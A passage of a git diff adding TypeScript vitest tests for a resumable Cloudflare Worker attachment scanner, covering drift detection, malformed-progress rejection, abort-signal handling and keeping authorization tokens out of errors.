+                driftTarget === 'inventory' && scriptsCalls > 1
+                  ? 'changed'
+                  : 'ordinary',
+            },
+          ]);
+        }
+        if (target.pathname.endsWith('/deployments')) {
+          deploymentCalls += 1;
+          return single({
+            deployments: [
+              {
+                versions: [
+                  { version_id: 'v1', percentage: 50 },
+                  {
+                    version_id:
+                      driftTarget === 'deployment' && deploymentCalls > 1
+                        ? 'changed-v2'
+                        : 'v2',
+                    percentage: 50,
+                  },
+                ],
+              },
+            ],
+          });
+        }
+        if (target.pathname.includes('/versions/')) {
+          versionCalls += 1;
+          return single({ resources: { bindings: [] } });
+        }
+        throw new Error(`unexpected request ${target.pathname}`);
+      });
+      const subject = client(fixture.fetch);
+      const first = await advanceCloudflareWorkerAttachmentScan(subject, {
+        target: D1_TARGET,
+        progress: initialWorkerAttachmentScan(D1_TARGET),
+        maxProviderRequests: 9,
+      });
+      expect(first.status).toBe('pending');
+      if (first.status !== 'pending') throw new Error('expected pending');
+      await expect(
+        advanceCloudflareWorkerAttachmentScan(subject, {
+          target: D1_TARGET,
+          progress: first.progress,
+          maxProviderRequests: 9,
+        }),
+      ).rejects.toBeInstanceOf(CloudflareAttachmentScanDriftError);
+      expect(versionCalls).toBe(1);
+    }
+
+    let deploymentCalls = 0;
+    let ordinaryRequests = 0;
+    const fixture = recordingFetch(({ url }) => {
+      const target = new URL(url);
+      if (target.pathname.endsWith('/workers/scripts')) {
+        ordinaryRequests += 1;
+        return pageArray([{ id: 'ordinary' }]);
+      }
+      if (target.pathname.endsWith('/deployments')) deploymentCalls += 1;
+      throw new Error(`unexpected request ${target.pathname}`);
+    });
+    let driftError: unknown;
+    try {
+      await advanceCloudflareWorkerAttachmentScan(client(fixture.fetch), {
+        target: D1_TARGET,
+        progress: {
+          version: 1,
+          target: D1_TARGET,
+          stage: 'ordinary-deployment',
+          evidenceSha256: 'a'.repeat(64),
+          evidenceCount: 3,
+          ordinaryInventorySha256: hash(JSON.stringify(['ordinary'])),
+          scriptIndex: 2,
+          scriptName: 'ordinary',
+        },
+        maxProviderRequests: 9,
+      });
+    } catch (error) {
+      driftError = error;
+    }
+    expect(driftError).toBeInstanceOf(CloudflareAttachmentScanDriftError);
+    expect(driftError).toMatchObject({
+      name: 'CloudflareAttachmentScanDriftError',
+      message:
+        'Cloudflare attachment inventory changed during a resumable scan',
+    });
+    expect(deploymentCalls).toBe(0);
+    expect(ordinaryRequests).toBe(1);
+
+    await expect(
+      advanceCloudflareWorkerAttachmentScan(client(fixture.fetch), {
+        target: D1_TARGET,
+        progress: {
+          version: 1,
+          target: D1_TARGET,
+          stage: 'ordinary-script-inventory',
+          evidenceSha256: evidence(D1_TARGET, [
+            ['ordinary-inventory', ['ordinary']],
+          ]),
+          evidenceCount: 1,
+          ordinaryInventorySha256: hash(JSON.stringify(['ordinary'])),
+          scriptIndex: 1,
+        },
+        maxProviderRequests: 9,
+      }),
+    ).rejects.toBeInstanceOf(CloudflareAttachmentScanProgressError);
+    expect(ordinaryRequests).toBe(1);
+  });
+
+  it('detects namespace and partial-page drift before any later settings read', async () => {
+    for (const driftTarget of ['namespace', 'page'] as const) {
+      let namespaceCalls = 0;
+      let pageCalls = 0;
+      let settingsCalls = 0;
+      const fixture = recordingFetch(({ url }) => {
+        const target = new URL(url);
+        if (target.pathname.endsWith('/workers/scripts')) return pageArray([]);
+        if (target.pathname.endsWith('/workers/dispatch/namespaces')) {
+          namespaceCalls += 1;
+          return pageArray([
+            {
+              namespace_name:
+                driftTarget === 'namespace' && namespaceCalls > 1
+                  ? 'changed'
+                  : 'fleet',
+            },
+          ]);
+        }
+        if (target.pathname.endsWith('/namespaces/fleet/scripts')) {
+          pageCalls += 1;
+          return pageArray([
+            { id: 'a', tags: [] },
+            {
+              id: driftTarget === 'page' && pageCalls > 1 ? 'changed-b' : 'b',
+              tags: [],
+            },
+          ]);
+        }
+        if (target.pathname.endsWith('/settings')) {
+          settingsCalls += 1;
+          return single({ bindings: [] });
+        }
+        throw new Error(`unexpected request ${target.pathname}`);
+      });
+      const subject = client(fixture.fetch);
+      const first = await advanceCloudflareWorkerAttachmentScan(subject, {
+        target: D1_TARGET,
+        progress: initialWorkerAttachmentScan(D1_TARGET),
+        maxProviderRequests: 9,
+      });
+      expect(first.status).toBe('pending');
+      if (first.status !== 'pending') throw new Error('expected pending');
+      await expect(
+        advanceCloudflareWorkerAttachmentScan(subject, {
+          target: D1_TARGET,
+          progress: first.progress,
+          maxProviderRequests: 9,
+        }),
+      ).rejects.toBeInstanceOf(CloudflareAttachmentScanDriftError);
+      expect(settingsCalls).toBe(0);
+    }
+
+    let mutateCommittedItem = false;
+    let committedSettingsCalls = 0;
+    const committedFixture = recordingFetch(({ url }) => {
+      const target = new URL(url);
+      if (target.pathname.endsWith('/workers/scripts')) return pageArray([]);
+      if (target.pathname.endsWith('/workers/dispatch/namespaces')) {
+        return pageArray([{ namespace_name: 'fleet' }]);
+      }
+      if (target.pathname.endsWith('/namespaces/fleet/scripts')) {
+        return pageArray([
+          { id: mutateCommittedItem ? 'changed-a' : 'a', tags: [] },
+          { id: 'b', tags: [] },
+        ]);
+      }
+      if (target.pathname.endsWith('/settings')) {
+        committedSettingsCalls += 1;
+        return single({ bindings: [] });
+      }
+      throw new Error(`unexpected request ${target.pathname}`);
+    });
+    const subject = client(committedFixture.fetch);
+    const beforeSettings = await advanceCloudflareWorkerAttachmentScan(
+      subject,
+      {
+        target: D1_TARGET,
+        progress: initialWorkerAttachmentScan(D1_TARGET),
+        maxProviderRequests: 9,
+      },
+    );
+    expect(beforeSettings.status).toBe('pending');
+    if (beforeSettings.status !== 'pending')
+      throw new Error('expected pending');
+    const requestsBeforeMalformedProgress = committedFixture.requests.length;
+    await expect(
+      advanceCloudflareWorkerAttachmentScan(subject, {
+        target: D1_TARGET,
+        progress: { ...beforeSettings.progress, evidenceCount: 1 },
+        maxProviderRequests: 9,
+      }),
+    ).rejects.toBeInstanceOf(CloudflareAttachmentScanProgressError);
+    expect(committedFixture.requests).toHaveLength(
+      requestsBeforeMalformedProgress,
+    );
+    const afterFirstSetting = await advanceCloudflareWorkerAttachmentScan(
+      subject,
+      {
+        target: D1_TARGET,
+        progress: beforeSettings.progress,
+        maxProviderRequests: 9,
+      },
+    );
+    expect(afterFirstSetting).toMatchObject({
+      status: 'pending',
+      progress: { stage: 'dispatch-script-settings', itemOffset: 1 },
+    });
+    if (afterFirstSetting.status !== 'pending') {
+      throw new Error('expected pending');
+    }
+    mutateCommittedItem = true;
+    await expect(
+      advanceCloudflareWorkerAttachmentScan(subject, {
+        target: D1_TARGET,
+        progress: afterFirstSetting.progress,
+        maxProviderRequests: 9,
+      }),
+    ).rejects.toBeInstanceOf(CloudflareAttachmentScanDriftError);
+    expect(committedSettingsCalls).toBe(1);
+
+    let aliasedSettingsCalls = 0;
+    const aliasFixture = recordingFetch(({ url }) => {
+      const target = new URL(url);
+      if (target.pathname.endsWith('/workers/scripts')) return pageArray([]);
+      if (target.pathname.endsWith('/workers/dispatch/namespaces')) {
+        return pageArray([{ namespace_name: 'fleet' }]);
+      }
+      if (target.pathname.endsWith('/namespaces/fleet/scripts')) {
+        const cursor = target.searchParams.get('cursor');
+        return cursor === null
+          ? pageArray([], { cursor: 'start' })
+          : pageArray([
+              { id: 'a', tags: [] },
+              { id: 'b', tags: [] },
+            ]);
+      }
+      if (target.pathname.endsWith('/settings')) {
+        aliasedSettingsCalls += 1;
+        return single({ bindings: [] });
+      }
+      throw new Error(`unexpected request ${target.pathname}`);
+    });
+    const aliasSubject = client(aliasFixture.fetch);
+    const beforeSecondPage = await advanceCloudflareWorkerAttachmentScan(
+      aliasSubject,
+      {
+        target: D1_TARGET,
+        progress: initialWorkerAttachmentScan(D1_TARGET),
+        maxProviderRequests: 9,
+      },
+    );
+    expect(beforeSecondPage).toMatchObject({
+      status: 'pending',
+      progress: { stage: 'dispatch-script-page', pageStartCursor: 'start' },
+    });
+    if (beforeSecondPage.status !== 'pending') {
+      throw new Error('expected pending');
+    }
+    const beforeAliasedSettings = await advanceCloudflareWorkerAttachmentScan(
+      aliasSubject,
+      {
+        target: D1_TARGET,
+        progress: beforeSecondPage.progress,
+        maxProviderRequests: 9,
+      },
+    );
+    expect(beforeAliasedSettings).toMatchObject({
+      status: 'pending',
+      progress: { stage: 'dispatch-script-settings', itemOffset: 0 },
+    });
+    if (
+      beforeAliasedSettings.status !== 'pending' ||
+      beforeAliasedSettings.progress.stage !== 'dispatch-script-settings'
+    ) {
+      throw new Error('expected pending');
+    }
+    await expect(
+      advanceCloudflareWorkerAttachmentScan(aliasSubject, {
+        target: D1_TARGET,
+        progress: {
+          ...beforeAliasedSettings.progress,
+          pageStartCursor: 'alias',
+          seenCursorSha256: [hash('alias')],
+        },
+        maxProviderRequests: 9,
+      }),
+    ).rejects.toBeInstanceOf(CloudflareAttachmentScanDriftError);
+    expect(aliasedSettingsCalls).toBe(0);
+
+    const forgedFixture = recordingFetch(({ url }) => {
+      throw new Error(`unexpected request ${new URL(url).pathname}`);
+    });
+    await expect(
+      advanceCloudflareWorkerAttachmentScan(client(forgedFixture.fetch), {
+        target: D1_TARGET,
+        progress: {
+          version: 1,
+          target: D1_TARGET,
+          stage: 'dispatch-script-settings',
+          evidenceSha256: 'a'.repeat(64),
+          evidenceCount: 2,
+          ordinaryInventorySha256: hash(JSON.stringify([])),
+          namespaceInventorySha256: hash(
+            JSON.stringify([['fleet', null, null]]),
+          ),
+          namespaceIndex: 0,
+          namespaceName: 'fleet',
+          pageSha256: hash(JSON.stringify([null, [['only', []]], null])),
+          pageItemCount: 1,
+          itemOffset: 1,
+          pageNumber: 0,
+          seenCursorSha256: [],
+          totalDispatchItems: 2,
+          dispatchEvidenceSum256: 'd'.repeat(64),
+          dispatchEvidenceCount: 2,
+        },
+        maxProviderRequests: 9,
+      }),
+    ).rejects.toBeInstanceOf(CloudflareAttachmentScanProgressError);
+    expect(forgedFixture.requests).toHaveLength(0);
+
+    let namespaceRequests = 0;
+    const namespaceFixture = recordingFetch(({ url }) => {
+      const target = new URL(url);
+      if (target.pathname.endsWith('/workers/dispatch/namespaces')) {
+        namespaceRequests += 1;
+        return pageArray([{ namespace_name: 'fleet' }]);
+      }
+      throw new Error(`unexpected request ${target.pathname}`);
+    });
+    const ordinaryInventorySha256 = hash(JSON.stringify([]));
+    const namespaceInventorySha256 = hash(
+      JSON.stringify([['fleet', null, null]]),
+    );
+    await expect(
+      advanceCloudflareWorkerAttachmentScan(client(namespaceFixture.fetch), {
+        target: D1_TARGET,
+        progress: {
+          version: 1,
+          target: D1_TARGET,
+          stage: 'dispatch-script-page',
+          evidenceSha256: 'a'.repeat(64),
+          evidenceCount: 4,
+          ordinaryInventorySha256,
+          namespaceInventorySha256,
+          namespaceIndex: 2,
+          namespaceName: 'fleet',
+          pageNumber: 0,
+          seenCursorSha256: [],
+          totalDispatchItems: 0,
+          dispatchEvidenceSum256: '0'.repeat(64),
+          dispatchEvidenceCount: 0,
+        },
+        maxProviderRequests: 9,
+      }),
+    ).rejects.toBeInstanceOf(CloudflareAttachmentScanDriftError);
+    expect(namespaceRequests).toBe(1);
+
+    await expect(
+      advanceCloudflareWorkerAttachmentScan(client(namespaceFixture.fetch), {
+        target: D1_TARGET,
+        progress: {
+          version: 1,
+          target: D1_TARGET,
+          stage: 'dispatch-namespace-inventory',
+          evidenceSha256: evidence(D1_TARGET, [
+            ['ordinary-inventory', []],
+            ['dispatch-namespaces', [['fleet', null, null]]],
+          ]),
+          evidenceCount: 2,
+          ordinaryInventorySha256,
+          namespaceInventorySha256,
+          namespaceIndex: 1,
+        },
+        maxProviderRequests: 9,
+      }),
+    ).rejects.toBeInstanceOf(CloudflareAttachmentScanProgressError);
+    expect(namespaceRequests).toBe(1);
+  });
+
+  it('preserves plain-only initial namespace 404 and refuses configured or later 404', async () => {
+    const plainFixture = recordingFetch(({ url }) => {
+      const target = new URL(url);
+      if (target.pathname.endsWith('/workers/scripts')) return pageArray([]);
+      if (target.pathname.endsWith('/workers/dispatch/namespaces')) {
+        return apiFailure(404);
+      }
+      throw new Error(`unexpected request ${target.pathname}`);
+    });
+    await expect(
+      drain(client(plainFixture.fetch, { plainOnly: true }), D1_TARGET),
+    ).resolves.toMatchObject({ terminal: { status: 'complete' } });
+    await expect(
+      drain(client(plainFixture.fetch), D1_TARGET),
+    ).rejects.toMatchObject({ status: 404 });
+
+    const namespaceList = vi
+      .spyOn(BaseNamespaces.prototype, 'list')
+      .mockReturnValueOnce(
+        (async function* () {
+          yield { namespace_name: 'first' };
+          throw Object.assign(new Error('later missing'), { status: 404 });
+        })() as never,
+      );
+    try {
+      const laterFixture = recordingFetch(({ url }) => {
+        const target = new URL(url);
+        if (target.pathname.endsWith('/workers/scripts')) return pageArray([]);
+        if (target.pathname.endsWith('/namespaces/first/scripts')) {
+          return pageArray([]);
+        }
+        throw new Error(`unexpected request ${target.pathname}`);
+      });
+      await expect(
+        drain(client(laterFixture.fetch, { plainOnly: true }), D1_TARGET),
+      ).rejects.toMatchObject({ status: 404 });
+    } finally {
+      namespaceList.mockRestore();
+    }
+  });
+
+  it('returns attached only for a match and makes no provider call after an early match', async () => {
+    for (const match of ['early', 'final', 'none'] as const) {
+      const events: string[] = [];
+      const versions: VersionFixture[] = [
+        {
+          id: 'v1',
+          percentage: 50,
+          bindings:
+            match === 'early' ? [{ type: 'd1', database_id: 'target-db' }] : [],
+        },
+        {
+          id: 'v2',
+          percentage: 50,
+          bindings:
+            match === 'final' ? [{ type: 'd1', database_id: 'target-db' }] : [],
+        },
+      ];
+      const fixture = recordingFetch(
+        worldHandler(
+          { ordinary: [{ id: 'ordinary', versions }], namespaces: [] },
+          events,
+        ),
+      );
+      const result = await drain(client(fixture.fetch), D1_TARGET, {
+        budget: 12,
+        stopOnFirstAttachment: true,
+      });
+      expect(result.terminal.status).toBe(
+        match === 'none' ? 'complete' : 'attached',
+      );
+      expect(events.some((event) => event.includes('/versions/v2'))).toBe(
+        match !== 'early',
+      );
+      if (match !== 'none') {
+        expect(
+          events.some((event) => event.includes('/dispatch/namespaces')),
+        ).toBe(false);
+      }
+    }
+  });
+
+  it('forwards and honors an in-flight SDK abort signal without follow-up requests', async () => {
+    const response = deferred<Response>();
+    const started = deferred<AbortSignal>();
+    let requests = 0;
+    const signalCaptureFetch: typeof fetch = async (_input, init) => {
+      requests += 1;
+      const signal = init?.signal;
+      if (!signal) throw new Error('SDK request had no signal');
+      started.resolve(signal);
+      return Promise.race([
+        response.promise,
+        new Promise<Response>((_resolve, reject) => {
+          signal.addEventListener('abort', () => reject(signal.reason), {
+            once: true,
+          });
+        }),
+      ]);
+    };
+    const controller = new AbortController();
+    const operation = advanceCloudflareWorkerAttachmentScan(
+      client(signalCaptureFetch),
+      {
+        target: D1_TARGET,
+        progress: initialWorkerAttachmentScan(D1_TARGET),
+        maxProviderRequests: 9,
+        signal: controller.signal,
+      },
+    );
+    const received = await started.promise;
+    expect(received).not.toBe(controller.signal);
+    expect(received.aborted).toBe(false);
+    controller.abort(new Error('stop SDK'));
+    expect(received.aborted).toBe(true);
+    await expect(operation).rejects.toThrow();
+    expect(requests).toBe(1);
+  });
+
+  it('forwards and honors an in-flight raw-page abort signal without retry', async () => {
+    let rawRequests = 0;
+    let receivedSignal: AbortSignal | undefined;
+    const fixture = recordingFetch(({ url }) => {
+      const target = new URL(url);
+      if (target.pathname.endsWith('/workers/scripts')) return pageArray([]);
+      if (target.pathname.endsWith('/workers/dispatch/namespaces')) {
+        return pageArray([{ namespace_name: 'fleet' }]);
+      }
+      throw new Error(`unexpected request ${target.pathname}`);
+    });
+    const signalFetch: typeof fetch = (input, init) => {
+      const url = new URL(
+        typeof input === 'string'
+          ? input
+          : input instanceof URL
+            ? input.href
+            : input.url,
+      );
+      if (url.pathname.endsWith('/namespaces/fleet/scripts')) {
+        rawRequests += 1;
+        receivedSignal = init?.signal ?? undefined;
+        const signal = init?.signal;
+        if (!signal)
+          return Promise.reject(new Error('raw request had no signal'));
+        return new Promise<Response>((_resolve, reject) => {
+          signal.addEventListener('abort', () => reject(signal.reason), {
+            once: true,
+          });
+        });
+      }
+      return fixture.fetch(input, init);
+    };
+    const controller = new AbortController();
+    const operation = advanceCloudflareWorkerAttachmentScan(
+      client(signalFetch),
+      {
+        target: D1_TARGET,
+        progress: initialWorkerAttachmentScan(D1_TARGET),
+        maxProviderRequests: 9,
+        signal: controller.signal,
+      },
+    );
+    await vi.waitFor(() => expect(receivedSignal).toBeDefined());
+    expect(receivedSignal).not.toBe(controller.signal);
+    expect(receivedSignal?.aborted).toBe(false);
+    controller.abort(new Error('stop raw'));
+    expect(receivedSignal?.aborted).toBe(true);
+    await expect(operation).rejects.toThrow();
+    expect(rawRequests).toBe(1);
+  });
+
+  it('accepts null result_info as a terminal dispatch script page', async () => {
+    let rawRequests = 0;
+    const fixture = recordingFetch((request) => {
+      const target = new URL(request.url);
+      if (target.pathname.endsWith('/workers/scripts')) return pageArray([]);
+      if (target.pathname.endsWith('/workers/dispatch/namespaces')) {
+        return pageArray([{ namespace_name: 'fleet' }]);
+      }
+      rawRequests += 1;
+      return Response.json({
+        success: true,
+        errors: null,
+        messages: null,
+        result: [],
+        result_info: null,
+      });
+    });
+    await expect(
+      drain(client(fixture.fetch), D1_TARGET),
+    ).resolves.toMatchObject({ terminal: { status: 'complete' } });
+    expect(rawRequests).toBe(1);
+  });
+
+  it('injects authorization internally without serializing it into progress or errors', async () => {
+    for (const terminalCursor of [null, ''] as const) {
+      let rawRequests = 0;
+      const terminalFixture = recordingFetch((request) => {
+        const target = new URL(request.url);
+        if (target.pathname.endsWith('/workers/scripts')) return pageArray([]);
+        if (target.pathname.endsWith('/workers/dispatch/namespaces')) {
+          return pageArray([{ namespace_name: 'fleet' }]);
+        }
+        rawRequests += 1;
+        return Response.json({
+          success: true,
+          errors: [],
+          messages: [],
+          result: [],
+          result_info: {
+            cursor: terminalCursor,
+            cursors: { after: 'must-not-override-explicit-cursor' },
+          },
+        });
+      });
+      await expect(
+        drain(client(terminalFixture.fetch), D1_TARGET),
+      ).resolves.toMatchObject({ terminal: { status: 'complete' } });
+      expect(rawRequests).toBe(1);
+    }
+
+    for (const resultInfo of [42, { cursors: 42 }]) {
+      const malformedMetadata = recordingFetch((request) => {
+        const target = new URL(request.url);
+        if (target.pathname.endsWith('/workers/scripts')) return pageArray([]);
+        if (target.pathname.endsWith('/workers/dispatch/namespaces')) {
+          return pageArray([{ namespace_name: 'fleet' }]);
+        }
+        return Response.json({
+          success: true,
+          errors: [],
+          messages: [],
+          result: [],
+          result_info: resultInfo,
+        });
+      });
+      await expect(
+        drain(client(malformedMetadata.fetch), D1_TARGET),
+      ).rejects.toThrow(
+        'Cloudflare dispatch script listing returned a malformed cursor',
+      );
+    }
+
+    const headers: string[] = [];
+    const fixture = recordingFetch((request) => {
+      const target = new URL(request.url);
+      if (target.pathname.endsWith('/workers/scripts')) return pageArray([]);
+      if (target.pathname.endsWith('/workers/dispatch/namespaces')) {
+        return pageArray([{ namespace_name: 'fleet' }]);
+      }
+      headers.push(request.headers.get('authorization') ?? '');
+      return pageArray([], { cursor: 42 as unknown as string });
+    });
+    let refusal: unknown;
+    try {
+      await drain(client(fixture.fetch), D1_TARGET);
+    } catch (error) {
+      refusal = error;
+    }
+    expect(refusal).toBeInstanceOf(Error);
+    expect((refusal as Error).message).toBe(
+      'Cloudflare dispatch script listing returned a malformed cursor',
+    );
+    expect(String(refusal)).not.toContain('token');
+    expect(String(refusal)).not.toContain('Bearer');
+    expect(headers).toEqual(['Bearer token']);
+    expect(
+      JSON.stringify(initialWorkerAttachmentScan(D1_TARGET)),
+    ).not.toContain('token');
+  });
+
+  it('maps the real bounded decommission scan and refuses hostile internal results', async () => {
+    const emptyFixture = recordingFetch(
+      worldHandler({ ordinary: [], namespaces: [] }),
+    );
+    const emptyClient = client(emptyFixture.fetch);
+    const initial = initialWorkerAttachmentScan(D1_TARGET);
+    const complete = await emptyClient.advanceDecommissionAttachmentScan({
+      progress: initial,
+      maxProviderRequests: 12,
+    });
+    expect(complete).toMatchObject({
+      status: 'complete',
+      providerFetchAttemptsReserved: 6,
+    });
+    expect(Object.keys(complete).sort()).toEqual([
+      'evidenceCount',
+      'evidenceSha256',
+      'providerFetchAttemptsReserved',
+      'status',
+    ]);
+
+    const ordinaryFixture = recordingFetch(
+      worldHandler({
+        ordinary: [
+          {
+            id: 'ordinary',
+            versions: [
+              {
+                id: 'v1',
+                percentage: 100,
+                bindings: [{ type: 'd1', database_id: 'target-db' }],
+              },
+            ],
+          },
+        ],
+        namespaces: [],
+      }),
+    );
+    await expect(
+      client(ordinaryFixture.fetch).advanceDecommissionAttachmentScan({
+        progress: initial,
+        maxProviderRequests: 12,
+      }),
+    ).resolves.toEqual({
+      status: 'attached',
+      attachment: { plane: 'ordinary', scriptName: 'ordinary' },
+      providerFetchAttemptsReserved: 9,
+    });
+    expect(
+      ordinaryFixture.requests.some(({ url }) =>
+        url.includes('/workers/dispatch/namespaces'),
+      ),
+    ).toBe(false);
+
+    const dispatchFixture = recordingFetch(
+      worldHandler({
+        ordinary: [],
+        namespaces: [
+          {
+            name: 'fleet',
+            pages: [{ scripts: ['dispatch'] }],
+            bindings: {
+              dispatch: [{ type: 'r2_bucket', bucket_name: 'target-bucket' }],
+            },
+          },
+        ],
+      }),
+    );
+    const dispatchClient = client(dispatchFixture.fetch);
+    const dispatchPending =
+      await dispatchClient.advanceDecommissionAttachmentScan({
+        progress: initialWorkerAttachmentScan(R2_TARGET),
+        maxProviderRequests: 12,
+      });
+    expect(dispatchPending).toEqual({
+      status: 'pending',
+      progress: {
+        version: 1,
+        target: R2_TARGET,
+        stage: 'dispatch-script-settings',
+        evidenceSha256:
+          '1c3482eb38516849afb66c2b303a216a39a3946e602a27234d52922a5d7b0293',
+        evidenceCount: 2,
+        ordinaryInventorySha256:
+          '4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945',
+        namespaceInventorySha256:
+          'def04ac77fe26c1a976ff1a49bba63c2aaba7d547843733a1db279560b949fc9',
+        namespaceIndex: 0,
+        namespaceName: 'fleet',
+        pageSha256:
+          '2ac417d32ad8b417715caee181af9a3f4dca29e57a9cf5e8f897abd89d53b894',
+        pageItemCount: 1,
+        itemOffset: 0,
+        pageNumber: 0,
+        seenCursorSha256: [],
+        totalDispatchItems: 1,
+        dispatchEvidenceSum256: '0'.repeat(64),
+        dispatchEvidenceCount: 0,
+      },
+      providerFetchAttemptsReserved: 12,
+    });
+    if (dispatchPending.status !== 'pending') {
+      throw new Error('expected pending dispatch scan');
+    }
+    await expect(
+      dispatchClient.advanceDecommissionAttachmentScan({
+        progress: dispatchPending.progress,
+        maxProviderRequests: 9,
+      }),
+    ).resolves.toEqual({
+      status: 'attached',
+      attachment: {
+        plane: 'dispatch',
+        scriptName: 'dispatch',
+        dispatchNamespace: 'fleet',
+      },
+      providerFetchAttemptsReserved: 9,
+    });
+
+    let activeWorld: AttachmentWorld = {
+      ordinary: [
+        { id: 'first', versions: [{ id: 'v1', percentage: 100 }] },
+        { id: 'second', versions: [{ id: 'v2', percentage: 100 }] },
+      ],
+      namespaces: [],
+    };
+    const changingFixture = recordingFetch((request) =>
+      worldHandler(activeWorld)(request),
+    );
+    const changingClient = client(changingFixture.fetch);
+    const pending = await changingClient.advanceDecommissionAttachmentScan({
+      progress: initial,
+      maxProviderRequests: 9,
+    });
+    expect(pending.status).toBe('pending');
+    if (pending.status !== 'pending') throw new Error('expected pending scan');
+    activeWorld = {
+      ordinary: [
+        { id: 'first', versions: [{ id: 'v1', percentage: 100 }] },
+        { id: 'changed', versions: [{ id: 'v2', percentage: 100 }] },
+      ],
+      namespaces: [],
+    };
+    await expect(
+      changingClient.advanceDecommissionAttachmentScan({
+        progress: pending.progress,
+        maxProviderRequests: 12,
+      }),
+    ).resolves.toEqual({ status: 'drift' });
+
+    const abort = new AbortController();
+    const abortReason = new Error('stop bounded scan');
+    abort.abort(abortReason);
+    await expect(
+      emptyClient.advanceDecommissionAttachmentScan({
+        progress: initial,
+        maxProviderRequests: 12,
+        signal: abort.signal,
+      }),
+    ).rejects.toBe(abortReason);
+
+    const sentinel = new Error('provider read failed');
+    sentinel.name = 'CloudflareAttachmentScanDriftError';
+    const sentinelSignal = new AbortController().signal;
+    Object.defineProperty(sentinelSignal, 'throwIfAborted', {
+      value() {
+        throw sentinel;
+      },
+    });
+    await expect(
+      emptyClient.advanceDecommissionAttachmentScan({
+        progress: initial,
+        maxProviderRequests: 12,
+        signal: sentinelSignal,
+      }),
+    ).rejects.toBe(sentinel);
+
+    const basePending = {
+      status: 'pending' as const,
+      progress: initial,
+      attachments: [] as const,
+      providerFetchAttemptsReserved: 3,
+    };
+    expect(mapDecommissionAttachmentScanChunk(basePending)).toEqual({
+      status: 'pending',
+      progress: initial,
+      providerFetchAttemptsReserved: 3,
+    });
+    expect(
+      Object.keys(mapDecommissionAttachmentScanChunk(basePending)),
+    ).toEqual(['status', 'progress', 'providerFetchAttemptsReserved']);
+
+    expect(
+      mapDecommissionAttachmentScanChunk({
+        status: 'attached',
+        attachment: {
+          plane: 'ordinary',
+          scriptName: 'ordinary',
+          dispatchNamespace: 'must-be-stripped',
+          token: 'must-be-stripped',
+        } as never,
+        providerFetchAttemptsReserved: 3,
+      }),
+    ).toEqual({
+      status: 'attached',
+      attachment: { plane: 'ordinary', scriptName: 'ordinary' },
+      providerFetchAttemptsReserved: 3,
+    });
+    expect(
+      mapDecommissionAttachmentScanChunk({
+        status: 'attached',
+        attachment: {
+          plane: 'dispatch',
+          scriptName: 'dispatch',
+          dispatchNamespace: 'fleet',
+          token: 'must-be-stripped',
+        } as never,
+        providerFetchAttemptsReserved: 3,
+      }),
+    ).toEqual({
+      status: 'attached',
+      attachment: {
+        plane: 'dispatch',
+        scriptName: 'dispatch',
+        dispatchNamespace: 'fleet',
+      },
+      providerFetchAttemptsReserved: 3,
+    });
+
+    const expectExactMapperFailure = (
+      operation: () => unknown,
+      message: string,
+    ) => {
+      let refusal: unknown;
+      try {
+        operation();
+      } catch (error) {
+        refusal = error;
+      }
+      expect(refusal).toBeInstanceOf(Error);
+      expect((refusal as Error).message).toBe(message);
+    };
+    for (const chunk of [
+      {
+        ...basePending,
+        attachments: [{ plane: 'ordinary' as const, scriptName: 'unexpected' }],
+      },
+      {
+        status: 'complete' as const,
+        evidenceSha256: 'a'.repeat(64),
+        evidenceCount: 2,
+        attachments: [{ plane: 'ordinary' as const, scriptName: 'unexpected' }],
+        providerFetchAttemptsReserved: 3,
+      },
+    ]) {
+      expectExactMapperFailure(
+        () => mapDecommissionAttachmentScanChunk(chunk),
+        'bounded attachment scan returned unexpected accumulated attachments',
+      );
+    }
+    for (const attachment of [
+      { plane: 'dispatch', scriptName: 'broken' },
+      { plane: 'dispatch', scriptName: 'broken', dispatchNamespace: '' },
+      {
+        plane: 'unknown',
+        scriptName: 'broken',
+        dispatchNamespace: 'fleet',
+      },
+    ]) {
+      expectExactMapperFailure(
+        () =>
+          mapDecommissionAttachmentScanChunk({
+            status: 'attached',
+            attachment: attachment as never,
+            providerFetchAttemptsReserved: 3,
+          }),
+        'bounded attachment scan returned malformed dispatch attachment',
+      );
+    }
+    expectExactMapperFailure(
+      () => mapDecommissionAttachmentScanChunk({ status: 'unknown' } as never),
+      'bounded attachment scan returned unknown result',
+    );
+  });
+
+  it('keeps the scan friend off the root while retaining its internal callable seam', () => {
+    type Equal<Left, Right> =
+      (<Value>() => Value extends Left ? 1 : 2) extends <
+        Value,
+      >() => Value extends Right ? 1 : 2
+        ? true
+        : false;
+    const movedTypesAreIdentical: readonly [
+      Equal<WorkerAttachment, StateWorkerAttachment>,
+      Equal<WorkerAttachmentScanChunk, StateWorkerAttachmentScanChunk>,
+      Equal<WorkerAttachmentScanInput, StateWorkerAttachmentScanInput>,
+      Equal<WorkerAttachmentScanProgress, StateWorkerAttachmentScanProgress>,
+      Equal<WorkerAttachmentScanTarget, StateWorkerAttachmentScanTarget>,
+    ] = [true, true, true, true, true];
+    const decommissionProgressMatchesScanner: WorkerAttachmentScanProgress extends DecommissionAttachmentProgress
+      ? DecommissionAttachmentProgress extends WorkerAttachmentScanProgress
+        ? true
+        : false
+      : false = true;
+
+    expect('advanceCloudflareWorkerAttachmentScan' in fleetRoot).toBe(false);
+    expect('mapDecommissionAttachmentScanChunk' in fleetRoot).toBe(false);
+    expect(typeof advanceCloudflareWorkerAttachmentScan).toBe('function');
+    expect(initialWorkerAttachmentScan).toBe(
+      initialWorkerAttachmentScanFromState,
+    );
+    expect(parseWorkerAttachmentScanProgress).toBe(
+      parseWorkerAttachmentScanProgressFromState,
+    );
+    expect(movedTypesAreIdentical).toEqual([true, true, true, true, true]);
+    expect(decommissionProgressMatchesScanner).toBe(true);
+    expect(CLOUDFLARE_SDK_MAX_RETRIES).toBe(2);
+    expect(CLOUDFLARE_SDK_MAX_ATTEMPTS).toBe(3);
+  });
+});
diff --git a/packages/fleet-control/test/workers-for-platforms-backend.test.ts b/packages/fleet-control/test/workers-for-platforms-backend.test.ts
index 9fc05faf..56438696 100644
--- a/packages/fleet-control/test/workers-for-platforms-backend.test.ts
+++ b/packages/fleet-control/test/workers-for-platforms-backend.test.ts
@@ -1,5 +1,7 @@
 // SPDX-License-Identifier: Apache-2.0
 
+import { createHash, randomUUID } from 'node:crypto';
+
 import {
   DEPLOYMENT_SENTINEL_COLUMNS,
   DEPLOYMENT_SENTINEL_DDL,
@@ -7,38 +9,59 @@ import {
 import type { MaintenanceCapabilityJwk } from '@proofoftech/flowsafe/host-kit';
 import {
